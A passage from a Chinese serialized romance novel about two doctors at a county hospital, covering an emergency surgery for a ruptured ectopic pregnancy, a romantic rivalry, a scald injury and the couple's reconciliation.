阿蓝沉默了片刻,又道:“刚刚他还说,如果真的怀孕了,就赶紧打掉,他不要这个孩子……他凶我……他说我事多,他一分钱也不会给我的……可我打电话找他,也不是为了找他要钱啊……” “你们怎么认识的?” “在网吧,我低血糖头晕,他给了我一颗糖……” 江明月深吸一口气:“你别那么在意别人的想法,没有人比你自己更重要。男朋友只是朋友的一种而已,在法律上你们什么关系都没有,你做手术,他连给你签字的权利都没有。” “我知道的,其实我也看清了他是什么样的人,可我还是好难受……”阿蓝的眼泪又涌了出来。 江明月看了眼仪器。 心率100次/分。 阿蓝现在是平躺状态,静息心率这么高还是挺吓人的。 这时妇科医生回来了,说有床位,今晚就能住院。 毛小东也过来了。步子慢吞吞的,两手插着口袋,懒懒散散地说:“沈老师让我来学习,诊室他守着。有啥好学的啊?这不都好好的吗?” 他话音刚落,阿蓝忽然捂住小腹,低低地“呜”了一声。 江明月眼皮骤跳。 妇科医生忙问:“是不是肚子疼?” 阿蓝说:“嗯,好痛,肚子像被人撕开来了。” 毛小东惊慌失措地指着仪器:“这心率怎么一下子飙上来了!” 现在心率是125次/分。再一看,阿蓝腿下都是血,把白床单染红了一片。 妇科医生同样大惊失色:“孕囊破裂出血了?” “应该是的。”江明月最担心的情形还是发生了。 越是这种时候越不能慌乱,她沉静道:“先补液吧。小毛,你去问输血科要血。” 当务之急是要把阿蓝的生命体征维持住。 一阵忙乱的紧急处理后,阿蓝的血压总算没再往下掉。 毛小东松了口气,一改闲散的做派,态度主动又积极:“江老师,我去联系救护车,马上把病人转运到市里的医院抢救。” “转院?不行!”江明月迅速给出判断,“这里离市区有一百多公里,路程太长了,病人支撑不了那么久。” 当务之急是找到出血点,及时止血。现在时间就是生命,一分钟都耽误不起。 阿蓝一张脸白得跟纸一样,她喃喃道:“我的头好晕啊,我是不是快死了?” “不会!”江明月斩金截铁道。 她笃定的口吻顿时提振了阿蓝的信心。阿蓝带着希冀问:“还有救吗?” “有救!”江明月语速飞快,“你父母手机号多少?我们要先和你的家人沟通一下。” “手机……手机里有。” 这一句说完,阿蓝合上眼皮,意识丧失,陷入昏迷。 江明月把总值班摇了过来。总值班费尽周折和阿蓝的家人取得了联系。问了几句,才知道阿蓝是单亲家庭,由妈妈独自一人带大的。总值班在电话里告病危,问家属是否同意立刻手术抢救。 阿蓝的母亲听说女儿性命垂危,哭着同意手术,同意剖腹,什么都同意,只要能救回阿蓝的命。 江明月吩咐毛小东:“通知麻醉科,准备开腹手术。” 一般来说,宫外孕女性可以根据个体差异,选择药物治疗或者手术治疗。如果选择手术治疗,通常会安排腹腔镜手术,微创手术伤口小,病人恢复快。 但就目前的情况而言,还是传统的剖腹探查更稳妥一些。 江明月让妇科医生抓紧时间去手术室准备。 妇科医生紧张道:“江老师,我有点虚,你能不能陪我上台?” 江明月蹙眉问:“你们科就你一个人值班?没有二线医生吗?” 妇科医生解释:“我们医院人手不够……平时也遇不到这么危急的病人……” 这时候讨论这些也没多大意义了。江明月也不再多说,换衣服洗手。 手术开始。 江明月手把手教妇科医生冲洗腹腔,找到还在流血的输卵管切除,检查清理盆腔,确认不再出血后关腹。 妇科医生的操作并不是很熟练。 江明月问:“以前没做过这类手术吗?” 她心想不至于吧,这算是妇科里比较简单的手术了。 妇科医生说:“以前没有独立操作过。” 江明月便问:“那以后会做了吗?” 妇科医生迟疑了一下:“嗯。” 江明月道:“有空可以多看看手术教学视频。” 妇科医生问:“看视频能学会?” “看教学视频,可以让你熟悉手术的每一个步骤。这样等你真正上台的时候,下一步要做什么心里就有数。理论上烂熟于心,实践中才不会出错。至于看视频能不能学会——” 江明月顿了顿,拿沈归时举例子:“你们沈老师之前在海大附院实习,很多科主任都想把他留在自己科室,因为他手术操作很漂亮,很多技术性的操作上手一次就会。但他们不知道的是,沈老师每天下班都会去找教学视频,反覆观摩学习,所以,主刀给他机会让他上手的时候,他才能精准完成主刀的指令。” 他或许确实有一些做手术的天分,但这又何尝不是勤学苦练的结果。 “所以你问我看视频能不能学会,我很难回答你,每个人的学习能力不一样。但是我可以很明确地告诉你,你多看、多学肯定是有用的,等哪一天视频里的东西能被你熟练运用到病人的身上,那个技术就是你的了。” 江明月望向一旁,“听见了吗,毛小东?” 毛小东罕见地没有插科打诨,而是老老实实地说:“听见了。” 阿蓝被推出手术室。 她的生命体征还维持着稳定。江明月一直提着的心终于放下了。大出血抢救不回来的病例,她也见过好几个。阿蓝还算幸运,发现得早,手术也及时。 毛小东跟在江明月身边,小声问:“江老师,别人都不知道沈老师下了班还找视频学习,那你是怎么知道的啊?” 江明月侧首,冷眼瞥他。 毛小东咳了声:“我就随便问问,随便问问……那个,江老师,我之前一直没跟你好好学,是因为我觉得我们这儿遇不到什么危重病人,没必要懂那么多。但是现在吧,我知道错了,要是你不在,这个大出血的病人还真不一定能活下来。” 一整夜兵荒马乱的抢救像是给了毛小东一记当头棒喝。他现在的态度诚恳又端正:“江老师,以后我一定认认真真跟你学习。之前你让我干什么来着——哦,想起来了,要多看文献!你放心,我今天下了班不睡觉,就看文献!” 江明月终于弯了弯唇:“你先把值班室收拾一下。快递不要到处乱扔,吃完的泡面及时清理掉。那个地方我都感觉没处落脚,不知道你怎么睡得下去的。” 毛小东答应得很快:“行,行行!我知道了!” 第60章 认可 文案情节1 一晃到了第二天。 确如杨青松所说, 这里的急诊并不忙。沈归时一晚上也就接待了个位数的病人,整体工作量约等于在海大附院急诊科轮转时的十分之一。 门口传来脚步声。沈归时抬头一看。 是林逸。 两相对望,林逸脚步微顿, 随后淡然地走过来问:“她人呢?” “去抢救病人了。”沈归时打量着来人, 很快发现林逸手里拎着一个打包袋,“有什么事你直接跟我说, 我帮你转达。” 林逸似笑非笑:“跟你说?你是她什么人?” 沈归时闻到了淡淡的咖啡香气:“你给她带了咖啡?她一会儿下夜班要回去补觉,喝咖啡会影响她休息。” “我知道她对咖啡因敏感。”林逸笑了, “所以我给她准备了低因咖啡。她不喜欢的话,还有热牛奶。” 沈归时说:“她不爱喝热饮。她一年四季都喝冰镇饮料。” 林逸语气温和:“谢谢提醒, 以后我注意。” 以后? 沈归时无声地抿唇。 林逸将打包袋放到桌上。袖口收束,一枚蓝宝石袖扣点缀其上。 沈归时被宝石的光晃了一下, 本能地多瞧了两眼。 能看出来是一颗品质非常不错的蓝宝石。 林逸主动提起:“她送的。生日礼物。” 沈归时平静点头:“我衣橱里的衣服都是她买的。” 你这一对袖扣算什么。 但沈归时也只是表面强撑平静。他去年生日那天,江明月在实验室熬夜记录数据。别说生日礼物了, 她甚至不知道那天是他的生日。他知道她要赶论文进度,也没跟她提。 林逸说:“这是她特意定制的, 全世界独一无二。” “哦。” “而且在西方,袖扣象征着定情信物。” 沈归时冷漠道:“她是东方人。” 毛小东风一样地跑了进来,美滋滋地说:“下班下班!” 旋即发觉室内气氛不太对劲。再然后才注意到桌子旁边站着的人, 并非来看诊的病人,而是之前经常来接江明月下班的那个有钱人。 毛小东看热闹不嫌事大, 睁着一双无辜的眼睛问沈归时:“沈老师,江老师说你每天下班之后都会看手术教学视频,是真的吗?” 沈归时问:“她什么时候说的?” “刚刚在手术室里说的。”说到手术,毛小东语气钦佩,“江老师也太神了,病人宫外孕大出血, 她没用任何设备,光靠触诊就确定了包块的位置,后来肚子剖开来一看,果然是那个位置出血。” 沈归时笑了起来,像珍藏的宝物被人发现了,有一种与有荣焉般的骄傲。 “她是妇产方向的专硕,从大五开始就一直在临床了,她很优秀的。” “噢……沈老师,我感觉江老师对你还挺认可的。”毛小东余光瞥见林逸冰凉的视线,嗓音莫名地变紧,“我是说,她很认可你的学习能力。” 沈归时神情难辨:“嗯。” 光认可有什么用。 她不要他了。 她现在对别的男人投怀送抱,和别的男人彻夜不归,送别的男人生日礼物。 这时,交班医生过来了,几人开始交接工作。 没过多久,江明月也回来了。 林逸指了指打包袋:“饿不饿?给你带了早餐。” 林逸送的早餐一如既往地丰盛。江明月粗略扫了一眼,有糕点有面点,有炒粉有卷粉。 主打一个品类丰富,总有一个她喜欢吃的。 江明月说:“这也太多了……你介意我分给同事们尝尝吗?” 林逸笑容自然:“不介意。” 江明月便把林逸送来的早餐摆了出来,让大家一起来尝尝。 有东西吃,气氛顿时活络了。有个交班医生打听林逸:“江医生,这位是谁啊?” 江明月不确定林逸想不想让别人知道具体身份,于是语焉不详道:“是个投资人,也是从海城过来的。” 沈归时忙完了交班,走到江明月身边,见她拿了一枚粉饺在吃,便伸手准备拿粉饺。 江明月瞟了他一眼。 “哦,没洗手。”沈归时立刻缩回手,拆了双一次性筷子。 毛小东就站在他们俩身后,津津有味地吃着马蹄糕。 啧。 仅凭一个眼神就知道是什么意思。 如果没有在一起共同生活过,很难有这样近乎本能的反应吧? 毛小东下意识地去看林逸。 林逸神情不变,出声问:“沈少,味道怎么样?” “你自己尝尝不就知道了。”沈归时声线轻淡,“还有,工作场合,请你称呼我沈医生,谢谢。” 他都怀疑林逸那声“沈少”是喊给江明月听的,意在提醒江明月,他的家世和身份。 急诊医生吃饭的速度都很快。没过多久,一桌子早餐就被风卷残云般地一扫而空。 江明月收拾东西下班。 林逸走在她身边,说他应某招商局领导邀请,要去一个海水珍珠养殖基地参观,这几天不在彤县。 “你有没有想要的珍珠饰品?我到那边帮你挑挑。”林逸问。 江明月想了想:“那麻烦你帮我带一条珍珠项链,回头我把钱转给你。” 林逸说:“好。你自己戴吗?想要什么款式?” “我送朋友的。”江明月拿手机出来找了个珠串的网图,“这种款式就行,珍珠的品质一定要好。” 江明月想买一条珍珠项链送给崔晚晚。 崔晚晚之前为她定制了一对袖扣。虽然崔晚晚出于朋友之间的情分,没收她的钱,但她不能真的一点表示都没有。 林逸说:“不然你跟我一起去吧,那个养殖基地就在附近。” 沈归时跟上两人:“林先生,你说的是北海珍珠基地吗?离这儿都不止五百公里了吧,你这个‘附近’,有点远啊。” “走高速过去,也用不了多久。”林逸不轻不重地说着,“这几年珍珠的热度不错,我想买一些品相好的珍珠饰品,送给海外的合作商。明月,你最好能陪我去一趟,帮我挑挑款式。” 江明月下了夜班有些犯困,想回去睡一会儿,但想到自己之前蹭了林逸好几顿饭,又不太好意思拒绝。 江明月问:“要去几天?我后天还要上班。” 林逸说:“那我们今天下午就出发,明天我安排人送你回来。” 沈归时忽然说:“我陪你去吧,林先生。我对珍珠的分类和等级还算了解,既可以帮你选款式,又可以帮你选品相,选完了还能帮你估价,一定让你买得物超所值。” 林逸挤出笑容:“怎么好意思麻烦你……” 沈归时回赠一个假惺惺的微笑:“不麻烦,小事而已。” 江明月见他们俩含笑交流,有商有量的,便不再多说。 她加快脚步往前走:“你们聊,我有点困,我先回去补个觉。”- 江明月回到宿舍,关上房门,倒头就睡。一觉睡到了下午,直到被来电铃声吵醒。 她拥着被子坐起来,看了眼手机。 来电人是沈元姝。 已经下午五点半了,江明月睡了将近九个小时。 她边接电话边起床。 电话里,沈元姝问她:“江医生,你现在是在彤县吗?” “是啊。”江明月顺口接了一句,刚睡醒的大脑还不太清明,过了几秒才想起来问,“你怎么知道?” “我问我哥了。” “你哥?” “沈归时。” 江明月顿时清醒了,然后好一阵沉默。 沈元姝接着说:“江医生,我刚到彤县,方便见你一面吗?” “什么事?” “见面再说,可以吗?” 江明月用手指顺了顺睡乱的头发,吐出一个字:“行。”- 江明月和沈元姝约在了附近一家糖水铺。 江明月离得近,直接走过去了。到店之后便在糖水铺老板的推荐下点了双份的槐花粉和木薯糖水。 沈元姝来得稍迟,坐下来之后就开始疯狂道歉:“对不起对不起,我不太熟悉这里的路况,来晚了不好意思。” 其实也就比江明月晚到了十分钟。 江明月见过沈元姝两次。这是她第三次见沈元姝。 之前她只是觉得沈元姝相貌精致,现在仔细瞧着,才发觉她和沈归时长得很像,尤其一双眼睛,睫羽纤长,眸如点漆,是如出一辙的漂亮。 江明月指了指桌上的槐花粉:“味道还不错,好像是这边的特色,你尝尝看。” 沈元姝没想到江明月见到她之后的第一句话会说这个。谈不上亲切,但是足够温和。 沈元姝乖乖拿瓷勺舀了一口槐花粉,点评道:“嗯,挺甜的。汤底是红糖水。” “你吃出来了?” “我刚刚上网查的。” 江明月失笑。 沈元姝见气氛正好,开始切入正题:“江医生,你来见我,我哥知道吗?” “不知道。” 江明月出门的时候,鬼使神差地往那个朝北的小房间望了一眼。 房间门没关。 沈归时不在。 应该是跟林逸去那个什么珍珠养殖基地了。 沈元姝像是松了口气:“那我们见面的事,麻烦你不要告诉我哥。” “为什么?” “因为我哥不让我来找你。” 江明月压下满腹疑惑,安静地喝糖水,等着沈元姝的下文。 沈元姝缓声说:“江医生,有件事我不想瞒你,我哥他已经LAN晚期了。” 江明月脑中骤然空白:“什么晚期?” LAN是什么病? 江明月从来没听说过。可能是什么罕见病? 涉及到“晚期”,一般都是病情比较严重阶段了。 “哪家医院诊断的?什么时候确诊的?治疗方案是什么?” 江明月眉目间是藏不住的凝重与紧张。 沈元姝不禁微微扬唇,但很快就绷住脸,深痛道:“我哥这毛病没得治,这辈子估计就这样了。” “你别这么想,医学一直在发展,现在治不了的病,不代表以后治不了。”江明月安慰对方的同时,也强迫自己冷静下来,“你刚刚说是什么病?L什么N?” 沈元姝一本正经:“LAN.” 医学中的专业术语非常多,很多病名都有专用的简称。比如多囊卵巢综合征,英文简称是PCOS,如果不是相关学科的医生,可能就不太了解。 江明月心乱如麻,当即拿出手机解锁:“中文全称是什么?我找找有没有相关的文献。” 沈元姝说:“中文全称,恋爱脑。” 江明月怔了几秒,随即脸色一沉:“恋爱脑还分早期晚期?” 她收起手机,“别拿生病的事开玩笑。” 沈元姝搁下勺子,认真地望向江明月:“江医生,你还是在乎我哥哥死活的,是不是?” 江明月想否认,却顾左右而言他:“这不重要。” “这很重要。”沈元姝逼视她,“如果你还在乎我哥,那我求你,再给他一次机会。我刚刚真的没有夸张——如果恋爱脑是一种病,那我哥肯定早就病入膏肓了。你不知道,你跟他分开之后,他高烧不退,烧了一个礼拜,失眠严重,要靠吃药才能入睡。他没有你,真的会死。” 江明月无言地捏着勺柄,低头搅动着糖水,一碗蝌蚪状的槐花粉随着红糖汤底游动了起来,像她起伏的心潮。 “别这么说,这世上没有谁离开谁会死的。” 而且—— “你家门第太高,我高攀不起,也不想高攀。” 沈元姝一下子明白了个中缘由。 “江医生,我听说我妈妈之前找过你,实在不好意思,她可能说话不太中听,有些言语伤害了你。我哥为了这个还跟她大吵了一架,差点儿沈家断绝关系,都闹到爷爷那里去了。” 沈元姝抿了口糖水,接着说:“后来也不知道我哥用了什么办法,竟然能让爷爷出面,把我妈妈做主订下的婚事退了。爷爷的态度很明显,就是赞成我哥跟你在一起,有他首肯,沈家上下都不会再有什么异议。而且我妈妈也知道你救过我的命了,她也不会再为难你了。” 江明月仍旧低着头搅动糖水。 沈元姝试图从她的脸色中看出一点端倪,江明月由始至终都平静得很,沈元姝也拿捏不准她到底是什么想法。 “我哥一退婚就去海城找你了,结果你来了彤县。” 沈元姝想在江明月面前,帮自己哥哥说说好话,所以跟沈归时一起去了海城。 她可能这辈子都忘不了那个场景。 暴雨天,沈归时撑着一把伞站在生殖中心楼下,周围人来人往,他默然伫立,通身都是与世隔绝的落寞与冷寂,像一只被遗弃的小动物。 “他跟科主任软磨硬泡了好久,才拿到一个去彤县的名额。海城那几天下暴雨,航班停飞。他一天也等不及,开了将近三个小时的车去杭州,从萧山机场起飞。我说我要跟他一起来,他没同意,他说行程太赶了,怕我疲于奔波,再像上次那样心脏骤停。” 沈元姝不太自然地咳了一声。 “所以我来找你的事,你千万别跟我哥说啊。我是偷偷跟过来的。” 江明月微抬眼眸,对上那一双和沈归时如出一辙的漂亮眼睛。 她心底涌上了许多无奈。 因为她突然发现,她好像永远都拒绝不了这样一双眼睛。 “好的,我不跟他说。”- 两份甜品吃完,江明月走回宿舍。 她习惯性地先进卫生间洗手。 推开门的那一瞬间,氤氲水汽扑面而来。 沈归时只围着一条浴巾,侧着身,站在淋浴间门口,微微偏头望了过来。 四目相对的瞬间,两人都是一愣。 江明月还当沈归时去那个珍珠养殖基地了,没想到他在宿舍。 他刚洗完澡,一头湿发,发梢还在滴水,水珠顺着冷白修长的脖颈缓慢滑落至锁骨,眉黑唇红,气息清冽。 江明月视线轻移,一时怔然。 半晌,沈归时的手搭上了腰间的浴巾,声线微低:“想看?” 江明月终于回神,扭头就走:“谁稀罕?我见过的多了去了。” 沈归时气息微顿,目光不动声色地追紧她,冷静探问:“你还见过谁的?” 江明月说:“太多了,记不清。” 沈归时追到卫生间门口:“真的?” “真的记不清。生殖科一个月能做一百多个穿刺取精,你实在想知道都有谁,你回去翻病历好了。” 沈归时默然数秒,忽然说:“他们没我大。” 江明月不由回头,一句话呛了回去:“没你脸大。” 沈归时据理力争:“我又不是没跟你上过手术。你凭良心说,是不是都比不过我?” 他从卫生间门边探出了半个身子,手臂线条流畅,腰腹肌肉紧实。 江明月没忍住,又多看了两眼。总觉得他上身肌肉变薄了一些,再想到沈元姝说他高烧一周,又一刻不停地奔赴过来找她,估计他这段时间都顾不上锻炼。 但不可否认,这样的他还是很耐看。没有擦干的水珠顺着腰腹间的纹理滑落,白皙的肤色赋予了他天然的冷感。性感惑人与斯文清隽杂糅着,矛盾地呈现在他身上。 江明月别开视线:“你把衣服穿上再来跟我说话!” 60-66 第61章 疯吻 满意 沈归时很快穿戴整齐, 拿了条毛巾擦头发。 江明月总算能面不改色地直视他了。 “你怎么没跟林逸去挑珍珠?”她问。 沈归时低声说了句:“谁要跟他去。” 声音虽轻,但室内安静,江明月听得分明。 “你早上不是说要陪他去的吗?” 沈归时说:“林先生说他请了专业的珠宝鉴定师, 不需要我陪同。” “那你下午去哪儿了?” “杨院长叫我去看新宿舍。” 江明月微愣:“新宿舍?” 沈归时解释:“杨院长说医院腾出了一整间空置的宿舍, 让我搬过去住。” 江明月下意识便问:“一定要搬吗?” 话说出去了,她才意识到自己说了什么。她的脑子开始运转, 辩解的话一句句地往外蹦:“我没有不想让你搬走的意思。你听领导安排就好。再说了,搬不搬也是你的自由。我就是随便问问的。你打算什么时候搬?独卫确实不太方便, 像今天这情况,多尴尬, 是吧。” 沈归时望了过来,目光柔和、湛然:“我没说你不想让我搬走。” 是, 你没说。 但你现在知道了。 江明月菱唇抿紧,心里生闷气。 她好好的一个人, 为什么长了张嘴。 沈归时说:“我跟杨院长说了,我不搬。” 当时杨青松的原话是这样的——“有个大老板给我们医院捐了一大笔钱, 就一个要求,改善一下你和江医生的住宿条件。哎,都怪我之前考虑不周, 让你们男女混住确实不太合适。我让后勤科给你找了个新宿舍,也在这个小区。对了, 那个大老板姓林,也是从海城过来的,你们是不是认识?” 沈归时说不太认识。他问那个大老板的资金到账了没有。 杨青松说已经到账了。 沈归时那叫一个高风亮节,说那他就不搬了,把宿舍留给没有房子的年轻医生吧。 江明月迅速平复了情绪,一脸的冷淡与矜持:“你爱搬不搬。” 她蹲下来拆快递。她前几天网购了一箱苏打饼干。海盐风味, 香香脆脆,她一向挺喜欢吃。 沈归时看见她撕开一袋饼干的包装袋,以为她饿了,便说:“我煮了粥,你尝尝?” 江明月说:“不用,刚在外面吃了两份甜品,还不饿。” 沈归时顺口问:“你一个人去吃的?” “不是。” 沈归时追问:“那你是跟谁一起吃的?” 跟你妹妹。 江明月答应了沈元姝会保密,所以答得语焉不详:“一个朋友。” 她明显不想多说,沈归时就没寻根究底。 但想到几个月以前,江明月还望着他的眼睛告诉他——她永远对他保持100%的坦诚,她对他绝无隐瞒——沈归时心里百般不是滋味。 他不怪她。 他只怪自己之前没有用同样的坦诚回报她。 沈归时扯回话题:“青菜虾仁粥,不吃吗?” 江明月记得,他煮青菜虾仁粥会用虾头煸炒出虾油,粥里还会放香菇和火腿,一锅粥熬得浓稠鲜香。 她一边回想一边咬着苏打饼干,总觉得自己味觉失灵了,手里的苏打饼干好像没有味道了。 所以,有必要用青菜虾仁粥测试一下味觉是不是出问题了。 “吃的。”江明月脸上还是那副无所谓的态度,“我就盛一碗。”- 江明月再次上班时,阿蓝已经从ICU出来了,转到了普通病房。 江明月特意抽空,去病房看阿蓝。到底年轻,阿蓝恢复得很好。 她妈妈头发都白了,在病床边忙前忙后,端水送饭,看得让人唏嘘。 妇科医生恰好来查房,向阿蓝的母亲介绍江明月:“这是江医生,从海城过来的。那天你女儿半夜来看急诊,就是江医生接诊的。幸好有江医生在,你女儿才能保住一条命。” 阿蓝妈妈下意识地想去握江明月的手,看到后者那双细皮嫩肉的手之后,又将自己探出去的手放了下来,有些局促地蹭了蹭衣角,不住地说:“谢谢,谢谢你啊医生……” “不用谢。”江明月笑了笑,“你女儿恢复得挺快的。” 妇科医生插了一嘴:“别忘了把手术费住院费补齐了啊!” “知道,知道。”阿蓝妈妈讪讪点头,小心翼翼望着江明月,“医生,我女儿以后还能怀孕吗?” 江明月说:“可以的。” “听说手术切掉了我女儿一条输卵管……” 江明月耐心解释:“当时你女儿已经因为大出血休克了,切除她的输卵管是为了保命。只要另一侧输卵管功能正常,就不会影响她以后再次怀孕,只不过怀孕的几率会小一点。” 阿蓝妈妈忍不住抹眼泪:“那个王八蛋……” 病床上的阿蓝小声说:“妈,别哭了……我知道错了……” 阿蓝妈妈扭头擦拭眼角,泪水越擦越多。 江明月立刻换了个话题:“你们母女俩都在医院,那饭馆还开门吗?” 阿蓝妈妈一愣。 阿蓝说:“妈,江医生去我们家吃过饭,我上回不是跟你说有人想买家里自制的红糖嘛,就是江医生想买。” 阿蓝妈妈想起来了:“噢……店还开着,阿蓝两个哥哥在帮忙看店。” 江明月点头。 阿蓝妈妈说:“江医生,什么时候你再来吃饭?我们请你,不要钱。” 江明月笑道:“等阿蓝养好身体再说。”- 江明月去了趟值班室,拿着杯子去开水间打水。 沈归时跟了过来,反覆偷偷窥视满脸笑意的江明月,终于问道:“今天心情很好?” 江明月“嗯”了声:“前天那个急诊手术的病人恢复得不错。” 两人并肩站在水池边。 开水间的水龙头似乎坏了,等了好久都没出水。 江明月又去拧了一下水龙头,疑惑道:“这个好像有点松动……” 就在这时,水龙头整个儿脱落,一道滚烫的水柱直接从水管里滋了出来。 “当心!” 沈归时来不及思考,几近本能地把江明月推远。 沸水冲着他的脸喷了过来。沈归时抬手挡住脸,动作迅速地退到一边。 这一切好像只发生在一瞬间。 江明月反应过来的时候,就看见沈归时手背被烫得通红。 她也顾不上考虑那么多,直接拽着沈归时的胳膊,进了旁边的卫生间。一手飞快地拧开水龙头,另一手抓握着沈归时的手臂,架着他烫伤的那只手冲水降温。 烫伤之后的急救,就是立刻用流动的凉水冲洗烫伤部位。至少冲半个小时。 沈归时低头看她,任由她摆布。 “看什么看!”江明月没好气地吼,“你为什么拿手去挡?你不知道手术医生的手有多金贵吗!” “不挡就会烫到脸。”沈归时顿了顿,声音更轻了,“我知道,你就喜欢我的脸。我怕脸烫伤了,毁了容,以后你就不喜欢我了。” “谁说我就喜欢你的脸?我喜欢的是你这个人!不管你变成什么样子,我都会喜欢你的!”江明月越说越气,她自己也不知道自己到底在气什么,最终气急败坏地问,“你满意了?” 水流哗哗流泻,似乎能冲淡弥漫在卫生间里的消毒水的气味。这个地方背阴,光线不好,一片昏沉沉的暗色中,沈归时慢慢翘起了唇角,仿佛给这里镀了一层朦胧的暖光。 他笑得极温柔:“满意。” “还笑!”江明月晃了下他的胳膊,凶巴巴的,“烫得不疼吗!” 沈归时实话实说:“疼。” 门外传来由远及近的脚步声,毛小东哼着歌走了进来。 江明月开始了无差别凶人,质问道:“你来干什么?” 毛小东一瞬间手都不知道往哪儿摆了:“我……我来上厕所啊。” 上厕所也有罪? 江明月点了下头:“你上吧。” 毛小东走到小便池边准备解拉链,忽然意识到不对劲,攥着裤腰带说:“江老师,这儿是男厕所吧?” 江明月怔住。抬腕看了眼手表,跟沈归时说:“现在是八点半,你先冲到九点。如果九点之后,还觉得疼,就继续冲,一直冲到没有痛感。” 沈归时听话点头:“好。” “我去给你买烫伤膏。” 江明月出去了。 毛小东觑着沈归时的脸色:“沈老师,你烫伤了啊?” “嗯。” 毛小东小声嘟囔:“烫伤了还这么高兴……” 他看得清清楚楚,沈归时那嘴角就没下去过。 怪渗人的- 沈归时谨遵医嘱,一直冲到手背没有痛感了,才走出卫生间,去找江明月。 江明月仔细看了看。 烫到了右手。手背还是有点红肿,和冷白的胳膊一比,色差明显。烫伤面覆盖了整个手背和手腕。 她把烫伤膏递给他:“自己上药去。” 沈归时就直直地望着她:“手不方便。” 江明月瞟他一眼,低头将烫伤膏的包装盒拆开,把药膏挤到沈归时的手背上,涂开来抹匀。 沈归时的手指颤了一下。 江明月停下动作:“还疼吗?” 沈归时说:“有点。” “上药疼是正常的,你忍忍。” 江明月涂药的动作更加轻缓,给沈归时敷了厚厚一层。想想还是不放心,又找护士妹妹借了个桌面小风扇,让沈归时对着烫伤部位吹,持续降温- 晚上下班回到宿舍,江明月又给沈归时上了一遍烫伤膏。 他坐着,她站着。她微微俯身打量他的手,像是心有余悸:“幸好及时冲了冷水,不然这会儿该起水泡了,说不定会留疤。” “嗯。我跟医院报了水管维修。应该是管路老化了,要拆掉重装。” “现在还疼吗?” “不疼了。” “那就好。” 沈归时站起身:“有没有纱布?我去包扎一下。” “在医院的时候你不说,现在我上哪儿给你找纱布去?”江明月也直起身子,“你就这么晾着吧,都成年人了,总不会还像小孩子那样把药膏弄得到处都是吧?” 沈归时说:“我只是……忽然很想抱抱你,我怕手上的药膏蹭脏你的衣服。” 他对她始终怀有这样一份情感。 想靠近,又唯恐亵渎。 江明月抬眸望着沈归时,沈归时也在看她。 两人安静地对视,眼瞳中倒映出彼此的身影。终于,江明月上前一步,两条胳膊从他身侧穿过去,紧紧抱住了他的腰。 许久,她听见头顶传来轻而短促的吸气声。 她仰头一看。沈归时眼睫颤动,满脸是泪。 江明月温柔地叹息:“哭什么啊……” 沈归时没说话。唯有一滴泪珠贴着面颊无声滑落,最终停在了一侧唇角,摇摇欲坠。 江明月踮起脚尖,吻住了那滴泪。 沈归时脊骨发麻,身形滞住。几秒之后,他闭上眼,开始疯狂回吻。 第62章 动情 “谁都不许跑。” 外面的天色由昏沉慢慢归于漆黑。 两人面颊相贴。 沈归时脸上的泪水都蹭到了江明月的面庞上。 那泪水很凉, 激得她心尖颤栗。 她想起那天沈元姝走出糖水铺,目光灼灼地望着她:“江医生,今年过年那会儿, 我听我哥提起过你。他说你会是我嫂子。他都千里迢迢地追过来了, 你就再给他一次机会,行不行?也给我一个喊你嫂子的机会。” 她当时只想逃避话题, 略过不答,转而问沈元姝接下来的行程。 沈元姝说, 她准备在市区休息一晚,明天回北城。 江明月只客套地说了一句“路上慢点”。 别无回应。 其实江明月心里很清楚, 这根本不是她要不要给他们谁一个机会。 而是她要不要给自己一个机会。 一个重新开始的机会。 一个率性而为的机会。 她确实喜欢沈归时。始终很喜欢。 但是——即便沈元姝说了沈家会接纳她,可她本人, 并不想面对那样一个盘根错节的豪门大家族。 而且父母那边,也不太认可这样的家庭。 此刻两人吻得动情, 彼此探求索取。停下来的时候,都轻轻喘着气, 呼吸相闻。 沈归时眼尾泛红,浸了泪水的眼眸湿漉漉的,像一片温柔的海。 江明月看了他一会儿, 顺着环抱他的姿势,靠上了他的胸膛。 “多大的人了?还流眼泪……” “对不起, 我太想你了……做梦都在想……” 江明月无声地叹气。 她真的不想考虑那么多了。 家世是不是匹配,父母会不会反对。 管他呢。 她只想给自己一个任性的机会。 “我也想你的。一直、一直都很想。” 江明月的声音很轻,像是说给她自己听的,语速很慢,仿佛一场漫长的自我剖白。 那个紧靠着的微微起伏的胸膛,似乎滞了一瞬。 随后连绵的亲吻, 再度铺天盖地地落了下来。 江明月攥紧了他背后的一块衣料,气息不匀地说:“去我房间……” 沈归时微怔。 江明月眼眸轻抬:“怎么?不愿意?” 沈归时顿了几秒,问:“……你这儿有套吗?” “我这儿哪有!”江明月轻轻拧他腰侧的肉,语气很软地埋怨,“这你还要我来准备?” 沈归时低声解释:“你又不在我身边,我哪想的到要准备这个……再说了,也不是图这个,才来找你的。” 江明月有些好笑:“那你图什么?” “图你的心。” 那双清润的眸子里闪着深情的水光,映着白炽灯,就像揉进了数不清的碎钻。 然后他话锋一转:“当然——如果你想要,也不是不行……” 他有的是办法取悦她。 江明月瞟了眼他烫红的右手。 他真的担心手上糊着的烫伤膏弄脏她的衣服,由始至终都只用左手抱她,右手安静地垂在身侧。 江明月歇了心思:“算了,等你把手养好了再说。” 沈归时评估着自己的伤势:“那估计还要等好几天。” 江明月急忙道:“你这话什么意思?等几天我还是等得起的!” “是我等不起。”沈归时坦荡地凝望她,“怕你又跑了。” 他像是在说真心话,也像是在给江明月台阶下。总之江明月收了冷脸,挽着他的胳膊,走进那间朝南的卧室:“跑什么跑,谁都不许跑。” 碍于烫伤,两人最终也只是很单纯地、也久违地、互相依偎着入眠。 翌日清晨,江明月醒来后,第一时间去查看身侧的人的右手。 江明月担心自己睡梦中翻身,压到他的右手,影响他恢复,所以昨晚特意睡在了他左侧。 她倾身打量他的手。红肿消退了很多,和手臂之间的色差也没那么明显了。 江明月轻轻舒了口气。余光瞟见沈归时醒了,又伸出一根手指戳了戳他的脸颊,催促道:“起来,出去吃早饭。附近有个包子店挺好吃的,去晚了就没了。” 沈归时低笑着拢住她的手:“好。”- 彤县遍布青山绿水,周围几个城市同样好山好水好风光。 江明月打算和别的医生调个班,凑那么四到五天的休息时间出来,和沈归时一起去附近城市旅行散心。 她看了周边城市的旅游攻略,还没想好第一站去哪儿。但几个想去的景点和想吃的餐厅,都被她记在了备忘录里。 这天下夜班,两人一起上床补觉。醒来之后,江明月打开手机备忘录给沈归时看,一本正经地说:“经过本人摸排调查,这几个地方非常值得一去。你看看想去哪里,我们抽个时间去实地走访一下。” 